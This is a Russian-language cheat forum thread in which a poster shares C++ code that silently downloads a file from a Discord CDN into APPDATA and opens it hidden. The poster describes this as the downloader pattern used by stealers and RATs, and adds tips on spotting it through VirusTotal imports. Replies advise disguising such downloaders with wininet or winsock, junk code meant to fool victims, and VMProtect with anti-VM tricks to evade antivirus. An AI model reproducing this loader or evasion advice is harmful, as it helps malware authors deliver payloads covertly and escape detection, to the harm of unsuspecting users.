C++ Скачка и открытие файлов с расширением DLL и EXE | Как понять что в DLL или EXE может быть вирус?

Начинающий
Статус
Оффлайн
Регистрация
26 Янв 2021
Сообщения
83
Реакции[?]
20
Поинты[?]
0
Решил рассказать и показать как сделать скачку через файлы с расширением DLL и EXE.
На примере я покажу как скачать wav файл и открыть его.


C++:
#define _CRT_SECURE_NO_WARNINGS // компилируем код, несмотря на ошибки
#include <iostream> // стандартные библиотеки C++
#include <urlmon.h> // для скачки файла URLDownloadToFile();
#include <tchar.h>

#pragma comment (lib, "urlmon.lib") // для скачки файла URLDownloadToFile();

using namespace std; // чтобы при выводе в консоль не писать по кд std;


int main()
{
    setlocale(LC_ALL, "Russian"); // чтобы арабских символов не было

    string appdata = getenv("APPDATA"); // получаем папку "appdata"
    cout << "Получили папку к аппдате: " + appdata << endl;
    appdata += "\\bell.wav"; // прибавляем к папке аппдаты имя файла (нужно для скачки), можно вообще любое
    cout << "Наш файл будет находиться по пути: " + appdata << endl;
    cout << "Идет скачка файла \n";
    HRESULT hr = URLDownloadToFileA(NULL, "https://cdn.discordapp.com/attachments/710629557765406731/804365368336449586/bell.wav", appdata.c_str(), 0, 0); // скачка файла, hr = результат скачки

    if (hr == S_OK) // если наша, программа скачана, то
    {
        cout << "Файл успешно скачан, открываем его\n";
        ShellExecuteA(NULL, "open", appdata.c_str(), NULL, NULL, SW_HIDE); // открываем его
    }
}
Как же узнать, есть ли в длл вирус?
А тут всё просто. Для начала, чудесным образом закидываем наш файл на вирустотал:
1611847008464.png
И что мы видим? 7 детектов? "Там "нету" вирусов" - так может подумать неопытный юзер. Но не все так просто, как может показаться на первый взгляд
1611847229858.png
Нам нужна эта вкладочка -> DETAILS
Чуток пролистая вниз, мы видим такие строчки:

1611847438627.png
Если видим urlmon.dll, то 90% это стиллер или ратник.
Если SHELL32.dll, то не спешите делать вывод, что это вирус, в некоторых читах, например в легендваре система конфигов и луа сделана именно через ShellExecute();
Итог: детекты - самое последние на что нужно обращать внимание. Один из моих знакомых, распространяющих ратники, делает наоборот, как меньше детектов. Как бы глупо это не звучало, я больше боюсь когда у приложения детектов = 0.
Это не 100% способ распознать, есть ли в программе вирус. В большинстве случае, да, можно определить, а иногда и нет.
Люди, разбирающиеся в этой теме могут сделать более беспалевную скачку, а какую именно, при желании могу рассказать позже.
 
Последнее редактирование:
Разработчик
Статус
Оффлайн
Регистрация
1 Сен 2018
Сообщения
1,596
Реакции[?]
879
Поинты[?]
113K
Решил рассказать и показать как сделать скачку через файлы с расширением DLL и EXE.
На примере я покажу как скачать wav файл и открыть его.


C++:
#define _CRT_SECURE_NO_WARNINGS // компилируем код, несмотря на ошибки
#include <iostream> // стандартные библиотеки C++
#include <urlmon.h> // для скачки файла URLDownloadToFile();
#include <tchar.h>

#pragma comment (lib, "urlmon.lib") // для скачки файла URLDownloadToFile();

using namespace std; // чтобы при выводе в консоль не писать по кд std;


int main()
{
    setlocale(LC_ALL, "Russian"); // чтобы арабских символом не было

    string appdata = getenv("APPDATA"); // получаем папку "appdata"
    cout << "Получили папку к аппдате: " + appdata << endl;
    appdata += "\\bell.wav"; // прибавляем к папке аппдаты имя файла (нужно для скачки), можно вообще любое
    cout << "Наш файл будет находиться по пути: " + appdata << endl;
    cout << "Идет скачка файла \n";
    HRESULT hr = URLDownloadToFileA(NULL, "https://cdn.discordapp.com/attachments/710629557765406731/804365368336449586/bell.wav", appdata.c_str(), 0, 0); // скачка файла, hr = результат скачки

    if (hr == S_OK) // если наша, программа скачана, то
    {
        cout << "Файл успешно скачан, отрываем его\n";
        ShellExecuteA(NULL, "open", appdata.c_str(), NULL, NULL, SW_HIDE); // открываем его
    }
}
Как же узнать, есть ли в длл вирус?
А тут всё просто. Для начала, чудесным образом закидываем наш файл на вирустотал:
Посмотреть вложение 128022
И что мы видим? 7 детектов? "Там "нету" вирусов" - так может подумать неопытный юзер. Но не все так просто, как может показаться на первый взгляд
Посмотреть вложение 128028
Нам нужна эта вкладочка -> DETAILS
Чуток пролистая вниз, мы видим такие строчки:

Посмотреть вложение 128029
Если видим urlmon.dll, то 90% это стиллер или ратник.
Если SHELL32.dll, то не спешите делать вывод, что это вирус, в некоторых читах, например в легендваре система конфигов и луа сделана именно через ShellExecute();
Итог: детекты - самое последние на что нужно обращать внимание. Один из моих знакомых, распространяющих ратники, делает наоборот, как меньше детектов. Как бы глупо это не звучало, я больше боюсь когда у приложения детектов = 0.
Это не 100% способ распознать, есть ли в программе вирус. В большинстве случае, да, можно определить, а иногда и нет.
Люди, разбирающиеся в этой теме могут сделать более беспалевную скачку, а какую именно, при желании могу рассказать позже.
Спасибо, я UrlDownloadFileA использую для скачки аватарки и звуков 0_0
И по твоему мой чит = ратник?
 
Начинающий
Статус
Оффлайн
Регистрация
26 Янв 2021
Сообщения
83
Реакции[?]
20
Поинты[?]
0
Спасибо, я UrlDownloadFileA использую для скачки аватарки и звуков 0_0
И по твоему мой чит = ратник?
Нет, я же не писал что 100% это ратник или стиллер.
А вообще, лучше всю эту хуету конвертировать в байты
 
всем прив верите ли вы в призраков ???
Забаненный
Статус
Оффлайн
Регистрация
17 Авг 2018
Сообщения
863
Реакции[?]
338
Поинты[?]
0
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Ну протекторы сделаны для лохов видимо
 
Разработчик
Статус
Оффлайн
Регистрация
1 Сен 2018
Сообщения
1,596
Реакции[?]
879
Поинты[?]
113K
Нет, я же не писал что 100% это ратник или стиллер.
А вообще, лучше всю эту хуету конвертировать в байты
Причем тут это. У меня сразу парсится ник юзера,и качется его аватар с форума.

Думаешь они чем-то помогут?
Да,он скрывает импорты.
 
Забаненный
Статус
Оффлайн
Регистрация
2 Окт 2020
Сообщения
1,208
Реакции[?]
266
Поинты[?]
0
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Начинающий
Статус
Оффлайн
Регистрация
26 Янв 2021
Сообщения
83
Реакции[?]
20
Поинты[?]
0
всем прив верите ли вы в призраков ???
Забаненный
Статус
Оффлайн
Регистрация
17 Авг 2018
Сообщения
863
Реакции[?]
338
Поинты[?]
0
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Начинающий
Статус
Оффлайн
Регистрация
26 Янв 2021
Сообщения
83
Реакции[?]
20
Поинты[?]
0
Особенно ВМП с анти ВМ, ибо вирустотал на своих дедиках просто открыть файл не смогут)
Анти ВТ годная тема.
Протекторы созданы чтобы скрыть код от реверса... Помогут 100%, но они накидывают доп. детекты
Я в курсе. Да я кажется даже понял, почему у меня импорты не скрывались под вмп
 
Начинающий
Статус
Оффлайн
Регистрация
27 Май 2019
Сообщения
30
Реакции[?]
4
Поинты[?]
0
C++:
Код:
#define _CRT_SECURE_NO_WARNINGS // компилируем код, несмотря на ошибки
#include <iostream> // стандартные библиотеки C++
#include <urlmon.h> // для скачки файла URLDownloadToFile();
#include <tchar.h>

#pragma comment (lib, "urlmon.lib") // для скачки файла URLDownloadToFile();

using namespace std; // чтобы при выводе в консоль не писать по кд std;


int main()
{
    setlocale(LC_ALL, "Russian"); // чтобы арабских символов не было

    string appdata = getenv("APPDATA"); // получаем папку "appdata"
    cout << "Получили папку к аппдате: " + appdata << endl;
    appdata += "\\bell.wav"; // прибавляем к папке аппдаты имя файла (нужно для скачки), можно вообще любое
    cout << "Наш файл будет находиться по пути: " + appdata << endl;
    cout << "Идет скачка файла \n";
    HRESULT hr = URLDownloadToFileA(NULL, "https://cdn.discordapp.com/attachments/710629557765406731/804365368336449586/bell.wav", appdata.c_str(), 0, 0); // скачка файла, hr = результат скачки

    if (hr == S_OK) // если наша, программа скачана, то
    {
        cout << "Файл успешно скачан, открываем его\n";
        ShellExecuteA(NULL, "open", appdata.c_str(), NULL, NULL, SW_HIDE); // открываем его
    }
}
че за код
для чего он
 
всем прив верите ли вы в призраков ???
Забаненный
Статус
Оффлайн
Регистрация
17 Авг 2018
Сообщения
863
Реакции[?]
338
Поинты[?]
0
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Вообще логичнее сделать чтение файла через wininet, winhttp, winsock и запись через CreateFile.
Ну это если ты хочешь замаскировать длл под что-то. Еще можно добавить джанккода и вызов всяких ненужных функций чтобы точно чел подумал что так надо.

P.S ShellExecute хуже чем CreateProcess
 
всем прив верите ли вы в призраков ???
Забаненный
Статус
Оффлайн
Регистрация
17 Авг 2018
Сообщения
863
Реакции[?]
338
Поинты[?]
0
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Ну потому что CreateProcess напрямую создает процесс без посредника в виде Power Shell или CMD (system)
К тому же на версиях винды ниже 7 такого понятия как Power Shell не существует... Я понимаю что скорее всего на этих версиях сидят мало человек, но сам факт.
 
Последнее редактирование:
Начинающий
Статус
Оффлайн
Регистрация
26 Янв 2021
Сообщения
83
Реакции[?]
20
Поинты[?]
0
К тому же на версиях винды ниже 7 такого понятия как Power Shell не существует... Я понимаю что скорее всего на этих версиях сидят мало человек, но сам факт.
Врёшь. На 7 винде есть Power Shell.
1611852937579.png
Пожалуйста, авторизуйтесь для просмотра ссылки.

На более старых версиях винды его нет. А на 7 есть.
 
всем прив верите ли вы в призраков ???
Забаненный
Статус
Оффлайн
Регистрация
17 Авг 2018
Сообщения
863
Реакции[?]
338
Поинты[?]
0
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Начинающий
Статус
Оффлайн
Регистрация
26 Янв 2021
Сообщения
83
Реакции[?]
20
Поинты[?]
0
Сверху Снизу